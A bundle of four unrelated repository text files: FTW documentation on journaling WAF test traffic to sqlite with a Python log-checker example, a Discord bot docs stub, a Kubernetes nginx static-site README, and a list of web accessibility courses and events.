
repository: strigazi/athena

repo_name: strigazi/athena


text:
Journaling
===============

FTW supports the process of creating journal entries for your HTTP tests. The idea behind this stems from the need to decouple the sending of attacks with testing the responses. This might be better explained with the following use cases:

 1. A pentester needs to issue attacks against a WAF but does not have access to the logs at the time of the test/series of attacks. A journal of attack requests and responses will help the pentester by correlating a database of FTW requests and responses with customer logs at a later time.

 2. A security engineer integrating FTW into their WAF environment does not want to check each FTW attack/response pair against a log. This is especially painful for cases where logs are sent to a network service and the tool _beats_ the log service by checking for a log as its being sent, being indexed etc. This is not ideal because we run into a halting problem where we cannot guess ahead of time how long to wait before we check the log service for the existence of a log. With this method, the security engineer can fire off an attack and then batch check the logs at a later date when he or she knows they can query a window of time without having to worry about network latency.

Workflow
==================
The workflow is twofold. Run the FTW tool `build_journal.py` against a service with a WAF in front of it and collect response data. Once all of the response data is retrieved, run FTW as you would in any other integration scenario, but write a plugin that opens the sqlite database to retrieve logs instead of a file or a network API.

Usage - Build the Journal
==================

1. `git clone git@github.com:fastly/ftw.git`
2. `virtualenv ftwenv`
3. `./ftwenv/bin/activate`
4. `pip install -r requirements.txt`
5. `./tools/build_journal.py --ruledir=dir`
  * This will produce `journal.sqlite`
  * Check out the options in `build_journal.py` for specifying journal files, table names

Once these steps are complete, you will have a `sqlite` file that you can explore and query by rule-id, time etc.

Usage - Using the Journal
==================

Because FTW was built with intention of custom integrations, testers can follow similar steps of found in Step 4 of `ExtendingFTW.md`.

A new API in the rulerunner was created to pass in journal files to run FTW against. The testrunner will still need the `logchecker_obj` to call `get_logs()`, since it is correlating sqlite output with log output. Implement a logchecker just like the ones outlined in `ExtendingFTW.md`, and FTW will handle retrieving the correct logs from sqlite for you.

We will use an example from `SpiderLabs/OWASP-CRS-regressions` as the example:

```python
from ftw import ruleset, logchecker, testrunner
import pytest
import sys
import re
import os
import ConfigParser

def test_crs(ruleset, test, logchecker_obj, with_journal, tablename):
    runner = testrunner.TestRunner()
    for stage in test.stages:
        runner.run_stage_with_journal(test.ruleset_meta['name'], test, with_journal, tablename, logchecker_obj)

class FooLogChecker(logchecker.LogChecker):

    def reverse_readline(self, filename):
        with open(filename) as f:
            f.seek(0, os.SEEK_END)
            position = f.tell()
            line = ''
            while position >= 0:
                f.seek(position)
                next_char = f.read(1)
                if next_char == "\n":
                    yield line[::-1]
                    line = ''
                else:
                    line += next_char
                position -= 1
            yield line[::-1]

    def get_logs(self):
        import datetime
        config = ConfigParser.ConfigParser()
        config.read("settings.ini")
        log_location = config.get('settings', 'log_location')
        our_logs = []
        pattern = re.compile(r"\[([A-Z][a-z]{2} [A-z][a-z]{2} \d{1,2} \d{1,2}\:\d{1,2}\:\d{1,2}\.\d+? \d{4})\]")
        for lline in self.reverse_readline(log_location):
            # Extract dates from each line
            match = re.match(pattern,lline)
            if match:
                log_date = match.group(1)
                # Convert our date
                log_date = datetime.datetime.strptime(log_date, "%a %b %d %H:%M:%S.%f %Y")
                ftw_start = self.start
                ftw_end = self.end
                # If we have a log date in range
                if log_date <= ftw_end and log_date >= ftw_start:
                    our_logs.append(lline)
                # If our log is from before FTW started stop
                if(log_date < ftw_start):
                    break
        return our_logs

@pytest.fixture
def logchecker_obj():
    return FooLogChecker()
```

Some notes here:
  * The FooLogChecker inherits logcherk.LogChecker so FTW knows it can call the `get_logs()` method
  * We initiate a decorated<EMAIL_ADDRESS>so we can pass in a `logchecker_obj` when `test_crs` is called
  * The `test_crs()` method looks similar to most FTW integrations, except it has two extra fixtures: `with_journal` and `tablename`
  * When running `py.test`, pass in `with_journal=/path/to/journal` and `tablename=name` so it can be passed to the testrunner correctly. This will ensure FTW will query the correct journalfile and tablename for the FTW response data
  * Since each stage must be tested and queried, we pass in the `test` fixture and run through each stage with `for stage in test.stages`
  * `runner.run_stage_with_journal` requires the name of the test, the test object, the with_journal path, tablename and the corresponding logchecker_obj

Once you adhere to the new API call for the testrunner, that should be it! FTW will handle querying the sqlite table to get the correct rule-ids, stage-ids and times and return those log lines back to `get_logs()` to test on your log file.


text:
# Welcome to Atlas' Documentation!

This is the documentation for Atlas, a discord boat. Served using [MkDocs](https://github.com/mkdocs/mkdocs)

If you notice things that could be changed like typos, or you want to improve the documenation and make it better, feel free to contribute.

[<img src="https://discordapp.com/api/guilds/345177567541723137/embed.png?style=banner3">](https://get-atlas.xyz/support)


text:
# Kubernetes app static

[![](https://images.microbadger.com/badges/image/4ops/static.svg)](https://microbadger.com/images/4ops/static "Get your own image badge on microbadger.com")

Miminal container with [nginx](http://nginx.org), optimized for serving static content in kubernetes cluster.

## Building image with content

Build your own container with static files:

- See [example/Dockerfile](example/Dockerfile)

```shell
$ docker build . -t my.registry.com/path/to/image:v1.0.0
$ docker push my.registry.com/path/to/image:v1.0.0
```

## Deploying in kubernetes cluster

Customize template `github.com/4ops/static` with local `kustomization.yaml`:

- See [example/kustomization.yaml](example/kustomization.yaml)

Deploy your configuration:

```shell
$ kubectl apply -k .
```

Kustomize template for GitLab CI example:

```shell
$ cat <<EOF | kubectl apply -k -
namespace: ${CI_ENVIRONMENT_NAME}

namePrefix: ${CI_PROJECT_NAME}-
nameSuffix: -content

commonLabels:
  component: landing
  project: ${CI_PROJECT_NAME}

bases:
  - github.com/4ops/static
  - github.com/4ops/static/add/pdb

images:
  - name: 4ops/static
    newName: ${CI_REGISTRY_IMAGE}
    newTag: ${CI_PIPELINE_ID}
EOF
```


text:
# Accessibility Courses
Courses, webinars, educational videos, and more, offered in web accessibility. Also see the [W3C's List](https://www.w3.org/WAI/courses/list/) and [DigitalA11y](https://www.digitala11y.com/digital-accessibility-courses-roundup/) course lists.

## University (Paid)
- [Central Washington University (CWU)](http://www.cwu.edu/accessibility-studies/)
  Program dedicated to increasing awareness for accessibility issues
- [Georgia Institute of Technology: Information and Communication Technology (ICT) Accessibility **Verified Certificate**](https://www.edx.org/course/information-communication-technology-ict-gtx-ict100x)
- [Media Access Australia (W3C Member): **Professional Certificate** in Web Accessibility](https://www.mediaaccess.org.au/digitalaccessibilityservices/services/education-and-training/pcwa/)
- [Mohawk College: **Ontario College Graduate Certificate** in Accessible Media Production](https://www.mohawkcollege.ca/programs/graduate-studies/accessible-media-production-390)
- [University of Illinois DRES IT Accessibility Badging Program](http://disability.illinois.edu/academic-support/accessible-it-group/badging)
- [University of Illinois Information Accessibility Design and Policy (IADP): **Certificate Program**](http://iadp.ahs.illinois.edu)
- [University of South Australia: **Professional Certificate** in Web Accessibility](https://unisa.edu.au/education-arts-and-social-sciences/school-of-creative-industries/degrees/short-programs/professional-certificate-in-web-accessibility/)
- [Ryerson University: The Chang School: Web Accessibility Auditing and Reporting](https://continuing.ryerson.ca/search/publicCourseSearchDetails.do?method=load&courseId=258041&selectedProgramAreaId=18614&selectedProgramStreamId=18642)
- [University of Wisconsin-Milwaukee: Certificate in Assistive Technology & Accessible Design](https://uwm.edu/healthsciences/academics/certificate-in-assistive-technology-accessible-design/)
- [DePaul University: Accessibility and Design for Diverse Users](https://www.cdm.depaul.edu/academics/Pages/current/Requirements-MS-in-Human-Computer-Interaction.aspx)
- [OCAD University: Master of Design in Inclusive Design](https://www.ocadu.ca/academics/graduate-studies/inclusive-design)

## Private (Paid)
- [4syllables's Accessibility for web writers](http://4syllables.com.au/training/web-writing-accessibility/)
- [Deque University](https://www.deque.com/services/deque-university/) - Note: [PwD are eligible for scholarships](https://dequeuniversity.com/scholarships)
- [Level Access (previously SSB Bart Group) - Access University](https://www.levelaccess.com/products/access-university/)
- [Online Learning Consortium (OLC) Institute for Professional Development Accessibility Track](https://onlinelearningconsortium.org/learn/olc-new-institute-schedule/#track-Accessibility)
- [Pacellio Group - TPG Tutor](https://www.paciellogroup.com/products/tpg-tutor/)
- [Pluralsight - Making a Web Form Accessible](https://www.pluralsight.com/courses/web-form-accessible)
- [Pluralsight - Meeting Web Accessibility Guidelines (Section 508/ WCAG 2.0)](https://www.pluralsight.com/courses/web-accessibility-meeting-guidelines)
- [Styles in MS Word: A Primer for Accessible Document Design, the Course!](http://www.karlencommunications.com/StylesInWordCourse.html)
- [Team Treehouse - Web Accessibility Compliance](https://teamtreehouse.com/library/web-accessibility-compliance)
- [UX Foundations: Accessibility](https://www.lynda.com/Accessibility-tutorials/Foundations-UX-Accessibility/435008-2.html)
- [WebAIM's Web Accessibility Training](http://webaim.org/training/)
- [LinkedIN Learning: Accessibility for Web Design with Derek Featherstone](https://www.linkedin.com/learning/accessibility-for-web-design/welcome) - Free with a LinkedIn Learning membership.
- [A11y Collective](https://a11y-collective.com/) - a new e-learning platform for people who want to dive deep into digital accessibility.

## Conferences & Events
- [A11Y Project Events](https://a11yproject.com/events/#upcoming)
    - [A11yTO](https://a11yto.com)
    - [A11yCamp Australia](https://a11ycamp.org.au/)
- [Accessing Higher Ground](http://accessinghigherground.org)
- [Accessible by Design](https://accessiblebydesign.org)
- [ASSETS: ACM SIGACCESS Conference on Computers and Accessibility](https://assets19.sigaccess.org/)
- [CSUN Assistive Technology Conference](http://www.csun.edu/cod/conference)
- [Environments for Humans' Accessibility Summit](http://environmentsforhumans.com/2017/accessu-summit/)
- [Inclusive Design 24 (#ID24)](http://www.inclusivedesign24.org/):
   - [October 2019 Playlist (YouTube)](https://www.youtube.com/playlist?list=PLn7dsvRdQEfFd5n_h8gltIoTfzUE_zywu)
   - [October 2018 Playlist (YouTube)](https://www.youtube.com/playlist?list=PLn7dsvRdQEfEnBxpVztmJ8KCKNJ_P-hR6)
   - [November 2017 Playlist (YouTube)](https://www.youtube.com/playlist?list=PLn7dsvRdQEfGvHBILiQDsrkVf3oo0-shO)
   - [June 2017 Playlist (YouTube)](https://www.youtube.com/playlist?list=PL95LOQw9SLWwqX2xoYidVO2YA7gknhmcx)
   - [2016 Playlist (YouTube)](https://www.youtube.com/playlist?list=PL95LOQw9SLWxmcZtzBiFuT9HAJKFJnl2n)
   - [2014 Playlist (YouTube)](https://www.youtube.com/playlist?list=PL95LOQw9SLWzKYfjwmx6edsP1Exs83CKc)
- [Knowbility's AccessU](https://www.knowbility.org/education/accessu/)
- [Web4All](http://w4a.info)
- [ZeroCon](https://conference.zeroproject.org/)

## Free
- [Digital Accessibility as a Business Practice](https://de.ryerson.ca/wa/business/)
- [Future Learn - Digital Accessibility: Enabling Participation in the Information Society](https://www.futurelearn.com/courses/digital-accessibility) - Not Running Now
- [Future Learn - Create Accessible Interfaces](https://www.futurelearn.com/courses/create-accessible-interfaces)
- [Google's Udacity Accessibility course (text version)](https://developers.google.com/web/fundamentals/accessibility/)
- [Google's Udacity Web Accessibility - Developing with Empathy](https://www.udacity.com/course/web-accessibility--ud891)
- [Microsoft's Training teachers to author accessible content ](https://education.microsoft.com/courses-and-resources/courses/training-teachers-to-author-accessible-content)
- [Microsoft's Accessibility fundamentals]()https://docs.microsoft.com/en-us/learn/paths/accessibility-fundamentals/
- [Professional Web #A11y Auditing Made Easy](https://de.ryerson.ca/wa/)
- [Start Building Accessible Web Applications Today, by Marcy Sutton](https://egghead.io/courses/start-building-accessible-web-applications-today)
- [Ryerson University: Introduction to Web Accessibility](https://de.ryerson.ca/wa/introduction/) - Start date TBD
- [Teach Access](http://teachaccess.org/) Study Away Silicon Valley - In partnership with [PEAT](https://www.peatworks.org/)
- [Teach Access Tutorial](https://teachaccess.github.io/tutorial/)
- [OpenU UK Accessibility of eLearning](https://www.open.edu/openlearn/education-development/education-careers/accessibility-elearning/content-section-0?active-tab=content-tab)
- [Study Away Silicon Valley](http://teachaccess.org/studyaway/)
- [UC Berkeley Intro to Course #Accessibility](http://bit.ly/coursea11y) - 6 modules on designing accessible content
- [Open.edu: Assistive technologies and online learning](http://www.open.edu/openlearn/education-development/assistive-technologies-and-online-learning/content-section-0)
- [Ryerson University & Canvas.net: Web Accessibility for Developers](https://www.canvas.net/browse/ryersonu/courses/adv-web-accessibility)
- [University of Colorado Boulder & Coursera: Basics of Inclusive Design for Online Education](https://www.coursera.org/learn/inclusive-design)
- [University of Pittsburgh & Coursera: Disability Awareness and Support](https://www.coursera.org/learn/disability-awareness)
- [Minnesota IT Services: Accessible Word Document Training](https://mn.gov/mnit/about-mnit/accessibility/training/)
- [edX & W3C - Introduction to Web Accessibility](https://www.w3.org/WAI/fundamentals/foundations-course/)
- [edX & Georgia Tech - Information and Communication Technology (ICT) Accessibility](https://www.edx.org/course/information-and-communication-technology-ict-acces)
- [Web.dev's Learn Accessibility](https://web.dev/learn/accessibility/)
- [Accessibility MOOC](http://accessibility.mrooms.net/#a11y) - Inclusive Online Course Design LAST UPDATED 2018

## Webinars
- [3playmedia](http://www.3playmedia.com/resources/webinars/)
- [Accessibility Association](http://www.accessibilityassociation.org/content.asp?contentid=161)
- [Accessibility Talks (A11Y Talks)](https://www.youtube.com/channel/UC__nH6oZrFXcUevljYJKbsw/about) - Virtual meetup and video series

## Educational Videos
- [3playmedia's Videos](http://www.3playmedia.com/resources/videos/)
- [A11ycasts with Rob Dodson](https://www.youtube.com/playlist?list=PLNYkxOF6rcICWx0C9LVWWVqvHlYJyqw7g)
- [Debugging Accessibility with Alice Boxhall](https://www.youtube.com/watch?v=B9qzdVcIj5U&feature=youtu.be)
- [Marcy Sutton's Accessibility Presentations](https://marcysutton.com/talks/)
- [State of Texas Creating Accessible Microsoft Office Documents](https://gov.texas.gov/organization/disabilities/accessibledocs)
- [A11ycasts](https://www.youtube.com/results?search_query=A11ycasts) - Created by Google Chrome Developers

## Meetups
Also refer to the [AccessMeetups Twitter list](https://twitter.com/webaxe/lists/accessmeetups) by Web Axe and this [other meetup list](http://www.lireo.com/accessibility-inclusive-design-in-person-groups/) by Deborah Edwards-Onoro.

- [Accessibility DC](https://www.meetup.com/Accessibility-DC/)
- [Boston Accessibility](https://www.meetup.com/a11yBos/)
- [Buffalo Accessibility Meet-up (Buffa11y)](http://buffa11y.org)
- [Chicago Digital Accessibility and Inclusive Design](https://www.meetup.com/a11ychi/)
- [London Accessibility Meetup](https://www.meetup.com/London-Accessibility-Meetup/)
- [Montreal's web accessibility & inclusive design meet-up](https://www.meetup.com/a11ymtl/)
- [Mid-MO Web Accessibility Meetup](https://www.facebook.com/groups/1981893992043062/)
- [New York City A11yNYC](http://a11ynyc.com/)
- [Ottawa a11yYOW](https://www.meetup.com/a11yOttawa)
- [Portland Accessibility and User Experience Meetup](https://www.meetup.com/Portland-Accessibility-and-User-Experience-Meetup/)
- [Quebec City a11yQC](http://a11yqc.org/)
- [Raleigh-Durham a11yRTP](https://www.meetup.com/a11yRTP/)
- [role=drinks](https://www.roledrinks.com/)
- [role=drinks Hamburg](http://www.roledrinks.de/)
- [San Francisco](https://www.meetup.com/a11ybay/)
- [Seattle Area Accessibility & Inclusive Design](https://www.meetup.com/a11ysea/)
- [Toronto a11yTO](https://www.meetup.com/a11yTo/) - both a meetup and a conference
- [Web Accessibility & Inclusive Design - Sydney ](https://www.meetup.com/Sydney-Web-Accessibility-Inclusive-Design/)
- [Web Accessibility & Inclusive Design - Melbourne](https://www.meetup.com/Melbourne-Web-Accessibility-Inclusive-Design/)
- [Digital Accessibility and Inclusive Design Meetup - Auckland](https://www.meetup.com/Auckland-Digital-Accessibility-and-Inclusive-Design-Meetup/)

## Certificates
- [International Association of Accessibility Professionals (IAAP) Certification](http://www.accessibilityassociation.org/certification)
- [Media Access Australia (W3C Member): Professional Certificate in Web Accessibility](https://www.mediaaccess.org.au/digitalaccessibilityservices/services/education-and-training/pcwa/)
- [Mohawk College: Ontario College Graduate Certificate in Accessible Media Production](https://www.mohawkcollege.ca/programs/graduate-studies/accessible-media-production-390)

## Vendor Materials
- [Chrome & Chrome OS Accessibility (on YouTube)](https://www.youtube.com/playlist?list=PL5aqr5w5fRe7QWzXhqxrilIVduWEmLHM2)

## For More Information
- [Books, tutorials & blogs here](https://github.com/mgifford/a11y-courses/blob/master/Reading-Material.md)
- [Follow these people on Twitter](https://github.com/joe-watkins/top-people-to-follow-in-web-accessibility)
- [A11ySlack Slack Channel](https://developer.paciellogroup.com/blog/2015/07/anybody-can-be-an-a11y-slacker/)

## Other Lists
- [Digital A11y: Digital Accessibility Courses Roundup](https://www.digitala11y.com/digital-accessibility-courses-roundup/)
- [Learn about digital accessibility](https://github.com/katekalcevich/accessible-accessibility/blob/master/Learn%20about%20digital%20accessibility.md) - this is much more than a list, but also has lists.

### Thanks
Appreciate the base set of links from [Jennifer Sutton](https://twitter.com/jsutt) and all the help she's given to me (and others in the community) over the years. Also thanks to [Alistair Duggin](https://twitter.com/dugboticus) for his [list of resources](https://github.com/alphagov/accessibility-guidance/wiki/resources). Thanks also to [Renata Zanetti](https://twitter.com/Zanetti_R) for contributing more.